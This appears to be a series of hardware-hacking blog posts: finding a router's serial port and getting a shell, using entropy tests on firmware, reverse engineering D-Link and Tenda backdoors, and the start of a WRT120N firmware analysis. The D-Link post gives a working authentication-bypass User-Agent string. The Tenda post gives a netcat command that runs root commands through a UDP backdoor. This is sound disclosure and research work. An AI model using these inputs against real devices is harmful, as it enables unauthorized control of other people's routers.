In either case the process of pin identification is the same, but usually takes longer if there is no header since there will likely be more than 4 test points on the board that you will need to examine.

At this point either P1402 or P1404 could be serial port headers. Or they could both be serial port headers. Or neither could be a serial port header. So we’ll examine the pins on each header individually to try to gain some insight.


Visual Inspection

First, let’s visibly inspect the pins. We’ll start by taking a look at P1402:

P1402 top

P1402 bottom

On the top layer of the PCB the right most pin is labeled as pin “1″. This is not terribly important, but it gives a common frame of reference when describing the pin numbers.

On the bottom of the PCB we see that pin 3 has four traces in a crosshair pattern that connect it to the surrounding ground plane. This easily identifies pin 3 as ground.

Pins 2 and 4 have thin traces connected to them, while pin 1 is connected to a fatter trace. Wide traces are typically used for supplying power, while narrow traces are usually used for signal traces. This suggests that pin 1 is Vcc and pins 2 and 4 are potentially transmit and receive (although we don’t yet know which is which).

Let’s take a look at the P1404 header now:

P1404 top

P1404 bottom

Here, the left most pin is marked as pin 1. Again, we see that pin 3 is connected to ground on the bottom layer of the PCB. Pin 4 also has a thin trace connected to it, so it could be a transmit or receive pin.

The other two pins of P1404 however have no visible traces connected to them on either the top or bottom layers of the PCB. It could be that they aren’t connected to anything, but more likely their traces are connected on one of the inner layers of the PCB that we can’t see. Time to break out the multimeter.


Identifying Grounded Pins

A continuity test introduces a small current into the circuit; if enough current passes from one probe to the other (i.e., there is sufficiently little resistance), the multimeter will emit an audible tone indicating that the points that the probes are touching are electrically connected.

The first thing we want to do is perform a continuity test between ground and all the pins on each of the headers using the multimeter. This will tell us which pins are connected directly to ground. We’ll start with P1402.

Metal shielding is a convenient ground point to use for testing. Placing one probe on a shield and touching the other to pin 3, the multimeter emits a continuous audible tone, indicating that pin 3 is connected to ground as we previously observed:

Continuity test between pin 3 and ground

Performing the same test against pins 2 and 4 results in no audible tone, so we know those pins aren’t grounded.

The same continuity tests for P1404′s pins 2, 3 and 4 produce the same results. Thus we know that for both P1402 and P1404 pin 3 is grounded and pins 2 and 4 are not.


Identifying Vcc

Vcc is less important to identify since we don’t actually need to connect anything to it, but locating the Vcc pin is a good exercise and is useful in eliminating the Vcc pin as a possible candidate for transmit or receive.

Based on the trace widths, we suspect that pin 1 is Vcc; measuring the voltage on pin 1 when the board is powered on appears to confirm this:

Measuring voltage on P1402 pin 1

A steady voltage reading on P1402 pin 1

The same voltage readings hold true for P1404′s pin 1 as well, suggesting that both P1402 and P1404 have pin 1 tied to Vcc.

Another method of identifying Vcc is to perform a continuity test between ground and the suspected Vcc pin. Although it may first appear counter intuitive, this will commonly result in a very short beep (though not a continuous tone).

What happens with the Vcc continuity test is that there is usually a filter capacitor connected between the Vcc pin and ground. This is done to eliminate any possible noise in the power lines on the PCB, and such filter capacitors are used liberally in any well designed board. Due to the nature of how capacitors work, they will “pass” a direct current very briefly until they are charged to capacity, at which point they will cease “passing” direct current and will “block” direct current, resulting in the short beep observed during the continuity test (it is worth nothing that current doesn’t actually pass through a capacitor, although it appears that way to an outside observer).

Although it doesn’t always work, the continuity test is a more conclusive method of determining Vcc than simply measuring the voltage on each pin, as any number of pins could all read the same voltage. Note that you will also need a multimeter with a rather responsive continuity tester in order to perform this test properly; cheaper ones can take up to a second or more before they are triggered, at which point the capacitor has already been charged. Most multimeters in the $100 range should suffice.


Identifying the Transmit Pin

The transmit pin is fairly easy to identify provided that the serial port is active and is transmitting data (and if it’s not, this entire effort will likely be futile anyway). The transmit pin on the board will be pulled high to the same voltage as Vcc (typically 3.3 volts). As it transmits bits of data, the voltage will drop to 0 volts (to send a “space”), then back to 3.3 volts (to send a “mark”). When reading a changing DC voltage, digital multimeters will end up displaying an average of the sampled voltage; this means that the average voltage – and thus, the voltage displayed on the multimeter – will briefly dip down during bursts of activity on the transmit pin.

The most activity on the transmit pin typically occurs during system boot up when all the boot information from the bootloader/kernel/system is being printed to the serial port. By monitoring pins 2 and 4 during boot, we should be able to easily identify which of them is the transmit pin. Let’s try header P1402 first:

Measuring voltage on P1402 pin 2

Measuring voltage on P1402 pin 4

The voltage readings for both pins 2 and 4 on header P1402 are a steady 3.3 volts with no fluctuations:

Voltage reading for P1402 pins 2 and 4

This is not encouraging, so let’s move on to the P1404 header. We’ll start with pin 2:

Measuring voltage on P1404 pin 2

The voltage reading on pin 2 hovers around 40 millivolts for the first few seconds, then it jumps to a steady 2.3 volts:

Initial voltage reading for P1404 pin 2

Final voltage reading for P1404 pin 2

Let’s check pin 4 next:

Measuring voltage on P1404 pin 4

The voltage reading for pin 4 is a steady 3.3 volts for the first few seconds:

Initial voltage reading for P1404 pin 4

Then suddenly we begin seeing rapid but substantial changes to the voltage on pin 4:

P1404 pin 4 voltage dropping to 2.4 volts

P1404 pin 4 voltage rising back up to 3.2 volts

P1404 pin 4 voltage dropping back down to 2.3 volts

There is definitely some activity on P1404′s pin 4, indicating that it is in fact an active data pin and likely the transmit pin of a serial port.

Although this is an effective method of identifying the transmit pin, it is worth noting that if the serial port only transmits a small amount of data, the voltage fluctuations will be too brief for the multimeter to register and you will need an oscilloscope or logic analyzer to capture the data activity on the transmit pin. This is rare however; usually there is ample data sent out on the serial port for this method to work.


Identifying the Receive Pin

Definitively identifying the receive pin is the most difficult, as it has no truly unique defining characteristics. I have observed various voltages for the receive pin from one system to the next, including:

  • Pulled high to the same voltage as Vcc
  • Pulled high to a voltage a few hundred millivolts lower than that of Vcc
  • Left “floating”, wildly fluctuating around a few hundred millivolts
  • Left “floating” for a few seconds and then pulled high when the serial port is initialized

Since we have only one unknown pin left on both headers and we know that only P1404 is active, by process of elimination we can assume that pin 4 on P1404 is the receive pin. However, sometimes it just comes down to connecting a serial adapter to all possible receive pins individually, pressing a few keys in minicom (or your terminal emulator of choice) and seeing what happens. Speaking of connecting our serial adapter, let’s do just that.


Connecting a UART Adapter

Inexpensive USB to UART adapters are readily available and are supported by default on Linux – they just show up as a standard USB serial port and can be used with minicom, python, etc. We will need to connect our UART adapter to the serial port in the following manner:

  • The adapter’s ground pin must be connected to the serial port’s ground pin
  • The adapter’s transmit pin must be connected to the serial port’s receive pin
  • The adapter’s receive pin must be connected to the serial port’s transmit pin

The easiest method of accomplishing this is to cut a breakaway header to size and solder it in to P1404:

Breakaway header soldered into place

And use some male-to-female jumpers to connect the appropriate pins between the serial port and the adapter:

UART adapter wired to P1404


Discovering the Baud Rate

With our hardware in place, we’re ready to start checking the serial port’s protocol settings. Serial ports can have a variety of settings, and we need to know all of them in order to communicate with the serial port:

  • What is the baud rate?
  • How many data bits are used?
  • How many parity bits are used?
  • How many stop bits are used?

Luckily, the de facto standard is to use 8 data bits, no parity bits and 1 stop bit (abbreviated as “8N1″), so that only leaves the baud rate unknown. Trial and error is the fastest and easiest method for identifying the baud rate. Since serial ports are typically used to display debug information (i.e., they transmit ASCII data), and there are only a small number of possible baud rates, it is practical to cycle through all possible baud rates until intelligible data is observed.

Or, at least that’s the way it works in theory. In practice all of the terminal emulation programs that I’ve used make it cumbersome to change the baud rate on the fly, if they even support doing so at all. To address this, I wrote a tool called baudrate that attempts to auto detect the baud rate of an actively transmitting serial port (you can also manually cycle through each baud rate if you prefer). Once finished, it saves out a minicom compatible configuration file and optionally fires up minicom for you.

With our UART adapter connected, let’s run baudrate (I’m using manual mode for demonstration purposes, but the auto-detection feature works like a charm here as well):

eve@eve:~$ sudo ./baudrate.py -p /dev/ttyUSB0

Starting baudrate detection on /dev/ttyUSB0, turn on your serial device now.
Press Ctl+C to quit.


@@@@@@@@@@@@@@@@@@@@@ Baudrate: 115200 @@@@@@@@@@@@@@@@@@@@@

We can change the baud rate to the next higher/lower baud rate by pressing the up/down arrow keys respectively:

@@@@@@@@@@@@@@@@@@@@@ Baudrate: 115200 @@@@@@@@@@@@@@@@@@@@@


@@@@@@@@@@@@@@@@@@@@@ Baudrate: 57600 @@@@@@@@@@@@@@@@@@@@@    <--- Down arrow decreases baud rate


@@@@@@@@@@@@@@@@@@@@@ Baudrate: 115200 @@@@@@@@@@@@@@@@@@@@@    <--- Up arrow increases baud rate

OK, now let’s turn on the 9100EM and see what happens:

@@@@@@@@@@@@@@@@@@@@@ Baudrate: 115200 @@@@@@@@@@@@@@@@@@@@@

Starting entry for CP1 @0xa3400000
memsize=52
CPU revision is: 00019641
Primary instruction cache 16kB, physically tagged, 4-way, linesize 32 bytes.
Primary data cache 16kB 4-way, linesize 32 bytes.
Linux version 2.4.21openrg-rmk1 #2 Thu Aug 28 19:30:48 CDT 2008
Determined physical RAM map:
User-defined physical RAM map:
 memory: 03400000 @ 00000000 (usable)
On node 0 totalpages: 13312
zone(0): 4096 pages.
zone(1): 9216 pages.
zone(2): 0 pages.
Kernel command line:  mem=52M
mips_counter_frequency:166666667
r4k_offset: 00196e6a(1666666)
Calibrating delay loop... 222.00 BogoMIPS
Memory: 44356k/53248k available (1568k kernel code, 8892k reserved, 6696k data, 4k init, 0k highmem)
Dentry cache hash table entries: 8192 (order: 4, 65536 bytes)
Inode cache hash table entries: 4096 (order: 3, 32768 bytes)
Mount cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Checking for 'wait' instruction...  unavailable.
POSIX conformance testing by UNIFIX
PCI: Probing PCI hardware on host bus 0.
Autoconfig PCI channel 0x801d19e0
Scanning bus 00, I/O 0x1ae00000:0x1b000001, Mem 0x18000000:0x1a000001
00:0e.0 Class 0200: 168c:001a (rev 01)
        Mem at 0x18000000 [size=0x10000]
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
...

It looks like the first baud rate we tried, 115200, is correct (this is not surprising as 115200 is one of the more common baud rates used in practice). Pressing Ctl+C we can stop the capture and save the settings to a minicom config file, in this case I just named it ’9100em’:

Detected baudrate: 115200

Save minicom configuration as: 9100em
 
Configuration saved. Run minicom now [n/Y]? n

eve@eve:~$

Getting a Shell

Now we can run minicom:

eve@eve:~$ minicom 9100em

And see what we get:

...
12/31 19:00:57 - Starting SoC reset sequence...
12/31 19:00:58 - Clink FS shared data area written
12/31 19:00:58 - CLNK_ETH_CTRL_RESET returned status 0 after 0.914 seconds
12/31 19:00:58 - FSUPDATE: Pass = 1, Tuned Freq = 1000 MHz (8)
12/31 19:01:10 - Clink Reset Cause :0x4 Reg:0x80240100 Dbg:0x0
12/31 19:01:10 - Starting SoC reset sequence...
12/31 19:01:11 - Clink FS shared data area written
12/31 19:01:11 - CLNK_ETH_CTRL_RESET returned status 0 after 0.903 seconds
12/31 19:01:12 - FSUPDATE: Pass = 1, Tuned Freq = 1150 MHz (14)

Username: admin
Password: *********

Wireless Broadband Router> help
Error: help should be called with at least 1 argument
help   Show help for commands within this menu

Usage:
        help all - show all available commands in the current level
        help [category]... category - show commands in a certain category
        help [category]... command - show detailed help for a specific command
        help -s string - search for categories/commands containing the string

Availble help Categories
help upnp - show help about UPnP commands
help conf - show help about Read and write Wireless Broadband Router configuration data
help option_manager - show help about Option Manager
help fireball - show help about Fireball configuration and control
help cwmp - show help about CWMP related commands
help bridge - show help about API for managing ethernet bridge
help firewall - show help about Control and display Firewall and NAT data
help connection - show help about API for managing connections
help inet_connection - show help about API for managing internet connections
help misc - show help about API for Wireless Broadband Router miscellaneous tasks
help firmware_update - show help about Firmware update commands
help log - show help about Contorols Wireless Broadband Router logging behaviour
help dev - show help about Device related commands
help kernel - show help about Kernel related commands
help system - show help about Commands to control Wireless Broadband Router execution
help flash - show help about Flash and loader related commands
help net - show help about Network related commands
help cmd - show help about Commands related to the Command module

Returned -1
Wireless Broadband Router> help system

Command Category system - Commands to control Wireless Broadband Router execution
die               Exit from Wireless Broadband Router and return ret
ps                Print Wireless Broadband Router's tasks
entity_close      Close an entity
etask_list_dump   Dump back trace of all etasks
restore_default   Restore default configuration
reboot            Reboot the system
ver               Display version information
print_config      Print compilation configuration. Search for option if specified
exec              Execute program
cat               Print file contents to console
shell             Spawn busybox shell in foreground
date              Print the current UTC and local time
exit              Exit sub menu
help              Show help for commands within this menu

Returned 0
Wireless Broadband Router>

Some serial ports require a login, others don’t. In this case the login was just the administrator user name and password for the device, which drops us to a custom command line shell with which we can manage the router. Based on the output from ‘help‘, the ‘system shell’ command should provide a root shell, which it does:

Wireless Broadband Router> system shell

BusyBox v1.01 (2005.09.07-07:38+0000) Built-in shell (lash)
Enter 'help' for a list of built-in commands.

/ # cat /proc/cpuinfo
system type             : TWINPASS-E
processor               : 0
cpu model               : unknown V4.1
BogoMIPS                : 222.00
wait instruction        : no
microsecond timers      : yes
tlb_entries             : 16
extra interrupt vector  : yes
hardware watchpoint     : yes
VCED exceptions         : not available
VCEI exceptions         : not available
/ # 

Conclusion

That’s it! Using just a multimeter and some free software we have logically identified the serial port’s physical interface, discovered its baud rate and gotten a shell with which we can further interrogate the system.

Differentiate Encryption From Compression Using Math

$
0
0

When working with binary blobs such as firmware images, you’ll eventually encounter unknown data. Particularly with regards to firmware, unknown data is usually either compressed or encrypted. Analysis of these two types of data is typically approached in very different manners, so it is useful to be able to distinguish one from the other.

The entropy of data can tell us a lot about the data’s contents. Encrypted data is typically a flat line with no variation, while compressed data will often have at least some variation:

Entropy graph of an AES encrypted file

Entropy graph of an AES encrypted file

Entropy graph of a gzip compressed file

Entropy graph of a gzip compressed file

But not all compression algorithms are the same, and some compressed data can be very difficult to visually distinguish from encrypted data:

Entropy graph of an LZMA compressed file

Entropy graph of an LZMA compressed file

However, there are a few tests that can be performed to quantify the randomness of data. The two that I have found most useful are chi square distribution and Monte Carlo pi approximation. These tests can be used to measure the randomness of data and are more sensitive to deviations in randomness than a visual entropy analysis.

Chi square distribution is used to determine the deviation of observed results from expected results; for example, determining if the outcomes of 10 coin tosses were acceptably random, or if there were potentially external factors that influenced the results. Substantial deviations from the expected values of truly random data indicate a lack of randomness.

Monte Carlo pi approximation is used to approximate the value of pi from a given set of random (x,y) coordinates; the more unique well distributed data points, the closer the approximation should be to the actual value of pi. Very accurate pi approximations indicate a very random set of data points.

Since each byte in a file can have one of 256 possible values, we would expect a file of random data to have a very even distribution of byte values between 0 and 255 inclusive. We can use the chi square distribution to compare the actual distribution of values to the expected distribution of values and use that comparison to draw conclusions regarding the randomness of data.

Likewise, by interpreting sets of bytes in a file as (x,y) coordinates, we can approximate the value of pi using Monte Carlo approximation. We can then measure the percentage of error in the approximated value of pi to draw conclusions regarding the randomness of data.

Existing tools, such as ent, will perform these calculations for us. The real problem is how to interpret the results; how random is encrypted data vs compressed data? This will depend on both the encryption/compression used, as well as the size of your data set (more data generally means more accurate results). Applying these tests to a (admittedly small) sample of files with varying size which had been put through different compression/encryption algorithms showed the following correlations:

  • Large deviations in the chi square distribution, or large percentages of error in the Monte Carlo approximation are sure signs of compression.
  • Very accurate pi calculations (< .01% error) are sure signs of encryption.
  • Lower chi values (< 300) with higher pi error (> .03%) are indicative of compression.
  • Higher chi values (> 300) with lower pi errors (< .03%) are indicative of encryption.

For example, here is a comparison of the same 24MB file after being put through the AES, 3DES, gzip and lzma algorithms:

Algorithm Chi Square Distribution Pi Approximation Error
None 15048.60 .920%
AES 351.68 .022%
3DES 357.50 .029%
LZMA 253.54 .032%
Gzip 11814.28 .765%

As you can see, gzip has extreme differences between expected and observed data randomness, making it easy to identify. LZMA is much closer to the AES and 3DES encryption results, but still shows significant variations, particularly on the chi square distribution.

Using these tests, we can usually determine if an unknown block of data is encrypted or compressed and proceed with any further analysis accordingly (identification of specific algorithms may also be possible, but much more work would need to be done to determine if such an endeavor is even feasible, and I have my doubts).

The problem with using a tool like ent against a firmware image (or any third-party data for that matter) is that the entire image may not be encrypted/compressed. In a real-world firmware image, there may be multiple blocks of high-entropy data surrounded by lower entropy data.

Here, we see that binwalk has identified one high entropy block of data as LZMA compressed based on a simple signature scan. The second block of high entropy data however, remains unknown:

Binwalk signature scan

Binwalk signature scan

To prevent the low entropy data in this firmware image from skewing our results, we need to focus only on those blocks of high entropy data and ignore the rest. Since binwalk already identifies high entropy data blocks inside of files, it was a simple matter of adding the chi square and Monte Carlo tests to binwalk, as well as some logic to interpret the results:

Binwalk entropy scan, identifying unknown compression

Binwalk entropy scan, identifying unknown compression

DECIMAL   	HEX       	ENTROPY ANALYSIS
-------------------------------------------------------------------------------------------------------------------
13312     	0x3400    	Compressed data, chi square distribution: 35450024.660765 (ideal: 256), monte carlo pi approximation: 2.272365 (38.252134% error)
1441792   	0x160000  	Compressed data, chi square distribution: 6464693.329427 (ideal: 256), monte carlo pi approximation: 2.348486 (33.771003% error)

Here, binwalk has marked both high entropy blocks as compressed data, and the large deviations reported for both tests supports this conclusion. As it turns out, this is correct; after further analysis of the firmware, the second block of data was also found to be LZMA compressed. However, the normal LZMA header had been removed from the data thus thwarting binwalk’s signature scan.

If you want to play with it, grab the latest binwalk code from the trunk; this is still very preliminary work, but is showing promise. Of course, the usual cautions apply: don’t trust it blindly, errors will occur and false positives will be encountered. Also, since I’m not a math geek, any feedback from those who actually understand math is appreciated. :)

Reverse Engineering a D-Link Backdoor

$
0
0

All right. It’s Saturday night, I have no date, a two-liter bottle of Shasta and my all-Rush mix-tape…let’s hack.

On a whim I downloaded firmware v1.13 for the DIR-100 revA. Binwalk quickly found and extracted a SquashFS file system, and soon I had the firmware’s web server (/bin/webs) loaded into IDA:

Strings inside /bin/webs

Strings inside /bin/webs

Based on the above strings listing, the /bin/webs binary is a modified version of thttpd which provides the administrative interface for the router. It appears to have been modified by Alphanetworks (a spin-off of D-Link). They were even thoughtful enough to prepend many of their custom function names with the string “alpha”:

Alphanetworks' custom functions

Alphanetworks’ custom functions

The alpha_auth_check function sounds interesting!

This function is called from a couple different locations, most notably from alpha_httpd_parse_request:

Function call to alpha_auth_check

Function call to alpha_auth_check

We can see that alpha_auth_check is passed one argument (whatever is stored in register $s2); if alpha_auth_check returns -1 (0xFFFFFFFF), the code jumps to the end of alpha_httpd_parse_request, otherwise it continues processing the request.

Some further examination of the use of register $s2 prior to the alpha_auth_check call indicates that it is a pointer to a data structure which contains char* pointers to various pieces of the received HTTP request, such as HTTP headers and the requested URL:

$s2 is a pointer to a data structure

$s2 is a pointer to a data structure

We can now define a function prototype for alpha_auth_check and begin to enumerate elements of the data structure:

struct http_request_t
{
    char unknown[0xB8];
    char *url; // At offset 0xB8 into the data structure
};

int alpha_auth_check(struct http_request_t *request);

alpha_auth_check itself is a fairly simple function. It does a few strstr’s and strcmp’s against some pointers in the http_request_t structure, then calls check_login, which actually does the authentication check. If the calls to any of the strstr’s / strcmp’s or check_login succeed, it returns 1; else, it redirects the browser to the login page and returns -1:

alpha_auth_check code snippet

alpha_auth_check code snippet

Those strstr’s look interesting. They take the requested URL (at offset 0xB8 into the http_request_t data structure, as previously noted) and check to see if it contains the strings “graphic/” or “public/”. These are sub-directories under the device’s web directory, and if the requested URL contains one of those strings, then the request is allowed without authentication.

It is the final strcmp however, which proves a bit more compelling:

An interesting string comparison in alpha_auth_check

An interesting string comparison in alpha_auth_check

This is performing a strcmp between the string pointer at offset 0xD0 inside the http_request_t structure and the string “xmlset_roodkcableoj28840ybtide”; if the strings match, the check_login function call is skipped and alpha_auth_check returns 1 (authentication OK).

A quick Google for the “xmlset_roodkcableoj28840ybtide” string turns up only a single Russian forum post from a few years ago, which notes that this is an “interesting line” inside the /bin/webs binary. I’d have to agree.

So what is this mystery string getting compared against? If we look back in the call tree, we see that the http_request_t structure pointer is passed around by a few functions:

call_graph

It turns out that the pointer at offset 0xD0 in the http_request_t structure is populated by the httpd_parse_request function:

Checks for the User-Agent HTTP header

Checks for the User-Agent HTTP header

Populates http_request_t + 0xD0 with a pointer to the User-Agent header string

Populates http_request_t + 0xD0 with a pointer to the User-Agent header string

This code is effectively:

if(strncasecmp(header, "User-Agent:", strlen("User-Agent:")) != NULL)
{
    http_request_t->0xD0 = header + strlen("User-Agent:") + strspn(header, " \t");
}

Knowing that offset 0xD0 in http_request_t contains a pointer to the User-Agent header, we can now re-construct the alpha_auth_check function:

#define AUTH_OK 1
#define AUTH_FAIL -1

int alpha_auth_check(struct http_request_t *request)
{
    if(strstr(request->url, "graphic/") ||
       strstr(request->url, "public/") ||
       strcmp(request->user_agent, "xmlset_roodkcableoj28840ybtide") == 0)
    {
        return AUTH_OK;
    }
    else
    {
        // These arguments are probably user/pass or session info
        if(check_login(request->0xC, request->0xE0) != 0)
        {
            return AUTH_OK;
        }
    }

    return AUTH_FAIL;
}

In other words, if your browser’s user agent string is “xmlset_roodkcableoj28840ybtide” (no quotes), you can access the web interface without any authentication and view/change the device settings (a DI-524UP is shown, as I don’t have a DIR-100 and the DI-524UP uses the same firmware):

Accessing the admin page of a DI-524UP

Accessing the admin page of a DI-524UP

Based on the source code of the HTML pages and some Shodan search results, it can be reasonably concluded that the following D-Link devices are likely affected:

  • DIR-100
  • DIR-120
  • DI-624S
  • DI-524UP
  • DI-604S
  • DI-604UP
  • DI-604+
  • TM-G5240

Additionally, several Planex routers also appear to use the same firmware:

  • BRL-04R
  • BRL-04UR
  • BRL-04CW

You stay classy, D-Link.

UPDATE:

The ever neighborly Travis Goodspeed pointed out that this backdoor is used by the /bin/xmlsetc binary in the D-Link firmware. After some grepping, I found several binaries that appear to use xmlsetc to automatically re-configure the device’s settings (example: dynamic DNS). My guess is that the developers realized that some programs/services needed to be able to change the device’s settings automatically; realizing that the web server already had all the code to change these settings, they decided to just send requests to the web server whenever they needed to change something. The only problem was that the web server required a username and password, which the end user could change. Then, in a eureka moment, Joel jumped up and said, “Don’t worry, for I have a cunning plan!”.

Also, several people have reported in the comments that some versions of the DIR-615 are also affected, including those distributed by Virgin Mobile. I have not yet verified this, but it seems quite reasonable.

UPDATE #2:

Arbitrary code execution is also possible, thanks to the backdoor. Proof of concept.

From China, With Love

$
0
0

Lest anyone think that D-Link is the only vendor who puts backdoors in their products, here’s one that can be exploited with a single UDP packet, courtesy of Tenda.

After extracting the latest firmware for Tenda’s W302R wireless router, I started looking at /bin/httpd, which turned out to be the GoAhead webserver:

Server header string in /bin/httpd

Server header string in /bin/httpd

But Tenda has made a lot of special modifications themselves. Just before entering the HTTP receive loop, main calls InitMfgTask, which spawns the MfgThread function as a separate thread:

pthread_create(&var_10, 0, MfgThread, 0);

pthread_create(&var_10, 0, MfgThread, 0);

Hmmm…InitMfgTask and MfgThread? Related to manufacturing tasks perhaps? Iiiiiinteresting…

The first thing MfgThread does is create a UDP socket and bind it to port 7329:

Create UDP socket and bind to port 7329

Create UDP socket and bind to port 7329

The thread then goes into a recvfrom loop, reading up to 128 bytes from the socket. It expects each received UDP packet to be at least 14 bytes in length:

Read packet from socket and check packet size

Read packet from socket and check packet size

Now for the fun part; the received UDP packet is then parsed by this block of code:

Processing the received packet

Processing the received packet

In C, this code reads:

memset(rx_magic_string, 0, 0x80);
memset(command_byte, 0, 0x80);
memset(command_arg, 0, 0x80);

memcpy(rx_magic_string, rx_buf, 9);
command_byte[0] = rx_buf[11];
memcpy(command_arg, rx_buf+12, rx_size-12);

// If magic string doesn't match, stop processing this packet and wait for another packet
if(strcmp(rx_magic_string, "w302r_mfg") != 0) goto outer_receive_loop;

We can see that the thread is expecting a packet with the following structure:

struct command_packet_t
{
    char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte
    char command_byte;
    char command_arg[117];
};

As long as the received packet starts with the string “w302r_mfg”, the code then compares the specified command byte against three ASCII characters (’1′, ‘x’, and ‘e’):

Comparing command_byte to '1', 'x' and 'e'

Comparing command_byte to ’1′, ‘x’ and ‘e’

For simplicity, I’ve converted the remaining disassembly (at least the important bits) to the following C code:

switch(command_byte)
{
    case 'e':
        strcpy(tx_buf, "w302r_mfg");
        tx_size = 9;
        break;
    case '1':
        if(strstr(command_arg, "iwpriv") != NULL)
            tx_size = call_shell(command_arg, tx_buf, 0x800);
        else
            strcpy(tx_buf, "000000");
            tx_size = strlen(tx_buf);
        break;
    case 'x':
        tx_size = call_shell(command_arg, tx_buf, 0x800);
        break;
    default:
        goto outer_receive_loop;
}

sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16);
goto outer_receive_loop;

The following actions correspond to the three accepted command bytes:

  • ‘e’ – Responds with a pre-defined string, basically a ping test
  • ’1′ – Intended to allow you to run iwpriv commands
  • ‘x’ – Allows you to run any command, as root

If ‘x’ is specified as the command byte, the remainder of the packet after the command byte (called command_arg in the above code) is passed to call_shell, which executes the command via popen:

popen(command_arg, "r");

popen(command_arg, “r”);

What’s more, call_shell populates the tx_buf buffer with the output from the command, which, as we can see from the previous C code, is sent back to the client!

Knowing the functionality of MfgThread and its expected packet structure, we can easily exercise this backdoor with netcat:

$ echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 192.168.0.1 7329
drwxr-xr-x    2 0        0            1363 webroot
drwxr-xr-x    1 0        0               0 var
drwxr-xr-x    5 0        0              43 usr
drwxr-xr-x    1 0        0               0 tmp
drwxr-xr-x    2 0        0               3 sys
drwxr-xr-x    2 0        0             569 sbin
dr-xr-xr-x   39 0        0               0 proc
drwxr-xr-x    2 0        0               3 mnt
drwxr-xr-x    1 0        0               0 media
drwxr-xr-x    4 0        0             821 lib
lrwxrwxrwx    1 0        0              11 init -> bin/busybox
drwxr-xr-x    2 0        0               3 home
drwxr-xr-x    7 0        0             154 etc_ro
drwxr-xr-x    1 0        0               0 etc
drwxr-xr-x    1 0        0               0 dev
drwxr-xr-x    2 1000     100           574 bin

One teensy-weensy, but ever so crucial little tiny detail is that the backdoor only listens on the LAN, thus it is not exploitable from the WAN. However, it is exploitable over the wireless network, which has WPS enabled by default with no brute force rate limiting. My shiny new ReaverPro box made relatively short work of cracking WPS, providing access to the WLAN and a subsequent root shell on the router (they also ship with a default WPA key, which you might want to try first):

ReaverPro cracking the WPS pin

ReaverPro cracking the WPS pin

Starting telnetd and getting a root shell

Starting telnetd and getting a root shell

As the magic string suggests, this backdoor was likely first implemented in Tenda’s W302R router, although it also exists in the Tenda W330R, as well as re-branded models, such as the Medialink MWN-WAPR150N. They all use the same “w302r_mfg” magic packet string.

UPDATE:

ea did a great job of grepping through various Tenda firmwares to find a lot more routers that are likely affected: http://ea.github.io/blog/2013/10/18/tenda-backdoor/

Reversing the WRT120N’s Firmware Obfuscation

$
0
0

It was recently brought to my attention that the firmware updates for the Linksys WRT120N were employing some unknown obfuscation. I thought this sounded interesting and decided to take a look.

The latest firmware update for the WRT120N didn’t give me much to work with:

Binwalk firmware update analysis

Binwalk firmware update analysis

As you can see, there is a small LZMA compressed block of data; this turned out to just be the HTML files for the router’s web interface. The majority of the firmware image is unidentified and very random. With nothing else to go on, curiosity got the best of me and I ordered one (truly, Amazon Prime is not the best thing to ever happen to my bank account).

Hardware Analysis


A first glance at the hardware showed that the WRT120N had a Atheros AR7240 SoC, a 2MB SPI flash chip, 32MB of RAM, and what appeared to be some serial and JTAG headers:

WRT120N PCB

WRT120N PCB

Looking to get some more insight into the device’s boot process, I started with the serial port:

UART Header

UART Header

I’ve talked about serial ports in detail elsewhere, so I won’t dwell on the methods used here. However, with a quick visual inspection and a multimeter it was easy to identify the serial port’s pinout as:

  • Pin 2 – RX
  • Pin 3 – TX
  • Pin 5 – Ground

The serial port runs at 115200 baud and provided some nice debug boot info:

$ sudo miniterm.py /dev/ttyUSB0 115200
--- Miniterm on /dev/ttyUSB0: 115200,8,N,1 ---
--- Quit: Ctrl+]  |  Menu: Ctrl+T | Help: Ctrl+T followed by Ctrl+H ---



=======================================================================
Wireless Router WG7005G11-LF-88 Loader v0.03 build Feb  5 2009 15:59:08
                    Arcadyan Technology Corporation
=======================================================================
flash MX25L1605D found.

Copying boot params.....DONE

Press Space Bar 3 times to enter command mode ...
Flash Checking  Passed.

Unzipping firmware at 0x80002000 ... [ZIP 3] [ZIP 1]  done
In c_entry() function ...
install_exception 
install exception handler ...
install interrupt handler ...
ulVal: 0x484fb
Set GPIO #11 to OUTPUT
Set GPIO #1 to OUTPUT
Set GPIO #0 to OUTPUT
Set GPIO #6 to INPUT
Set GPIO #12 to INPUT
Timer 0 is requested
##### _ftext      = 0x80002000
##### _fdata      = 0x80447420
##### __bss_start = 0x804D5B04
##### end         = 0x81869518
##### Backup Data from 0x80447420 to 0x81871518~0x818FFBFC len 583396
##### Backup Data completed
##### Backup Data verified
[INIT] HardwareStartup ..
[INIT] System Log Pool startup ...
[INIT] MTinitialize ..
CPU Clock 350000000 Hz
init_US_counter : time1 = 270713 , time2 = 40272580, diff 40001867
US_counter = 70
 cnt1 41254774 cnt2 41256561, diff 1787
Runtime code version: v1.0.04
System startup...
[INIT] Memory COLOR 0, 1600000 bytes ..
[INIT] Memory COLOR 1, 1048576 bytes ..
[INIT] Memory COLOR 2, 2089200 bytes ..
[INIT] tcpip_startup ..
Data size: 1248266
e89754967e337d9f35e8290e231c9f92
Set flash memory layout to Boot Parameters found !!!
Bootcode version: v0.03
Serial number: JUT00L602233
Hardware version: 01A

...

The firmware looked to have been made by Arcadyan, and the ‘Unzipping firmware…’ message was particularly interesting; a bit of Googling turned up this post on reversing Arcadyan firmware obfuscation, though it appears to be different from the obfuscation used by the WRT120N.

The only interaction with the serial port was via the bootloader menu. During bootup you can break into the bootloader menu (press the space bar three times when prompted) and perform a few actions, like erasing flash and setting board options:

Press Space Bar 3 times to enter command mode ...123
Yes, Enter command mode ...


[WG7005G11-LF-88 Boot]:?

======================
 [U] Upload to Flash  
 [E] Erase Flash      
 [G] Run Runtime Code 
 [A] Set MAC Address 
 [#] Set Serial Number 
 [V] Set Board Version 
 [H] Set Options 
 [P] Print Boot Params 
 [I] Load ART From TFTP 
 [1] Set SKU Number 
 [2] Set PIN Number  
======================

